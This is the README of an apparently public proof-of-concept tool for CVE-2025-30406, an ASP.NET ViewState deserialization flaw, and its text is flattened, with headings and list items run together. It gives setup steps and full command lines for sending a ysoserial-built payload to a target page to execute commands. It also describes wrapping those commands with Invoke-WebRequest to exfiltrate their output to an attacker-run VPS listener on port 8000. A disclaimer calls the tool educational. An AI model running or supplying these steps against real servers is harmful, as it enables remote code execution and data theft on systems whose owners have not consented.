
CVE-2025-30406 ViewState Exploit PoC
This is a Proof-of-Concept (PoC) script demonstrating a ViewState deserialization exploit for CVE-2025-30406 in ASP.NET applications. It uses ysoserial to generate a malicious ViewState payload and sends it to a user-specified URL to execute a provided command. For best results, command output can be exfiltrated to a custom HTTP server (server.py) running on a VPS, which displays results in a styled format with timestamps, green prompts, and white output text. This script is intended for educational purposes only and must only be used on systems where you have explicit permission to perform security testing. Unauthorized use is illegal and unethical.
exploit.py: The main PoC script to generate and send the ViewState payload.server.py: An HTTP server to receive and display exfiltrated command output in a styled format.README.md: This file, with setup and usage instructions.requests library (pip install requests)server.py (recommended for exfiltration)git clone https://github.com/yourusername/cve-2025-30406-poc.git
cd cve-2025-30406-poc
pip install requests
exploit.py or specify its path:
To receive exfiltrated command output in a styled format, run server.py on a VPS:
server.py to your VPS (e.g., via scp):
scp server.py user@your-vps-ip:/home/user/
sudo apt update && sudo apt install python3 python3-pip
python3 server.py
sudo ufw allow 8000
http://your-vps-ip:8000) for use with the -e flag in exploit.py.Run exploit.py with the required arguments. The -e flag is optional but highly recommended for exfiltrating command output to server.py for styled display.
python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]
-u, --url: Target URL (e.g., http://target.com/page.aspx) [Required]-c, --command: Command to execute (e.g., whoami) [Required]-y, --ysoserial: Path to ysoserial executable (default: ./ysoserial.exe) [Optional]-e, --exfil: Callback URL for exfiltrating command output (e.g., http://your-vps:8000) [Optional]python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
server.py (recommended):
python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
On your VPS or local machine, start the HTTP server to receive exfiltrated output:
python3 server.py
The server will display command output with timestamps, a green $ prompt, and white text for readability.
exploit.py):
-e is provided, the command is wrapped to capture output and send it to the callback URL via Invoke-WebRequest.__VIEWSTATE parameter.server.py):
$ prompt, and white output text.-e callback URL.This project is licensed under the MIT License. See the LICENSE file for details.
For questions or feedback, please open an issue on this repository.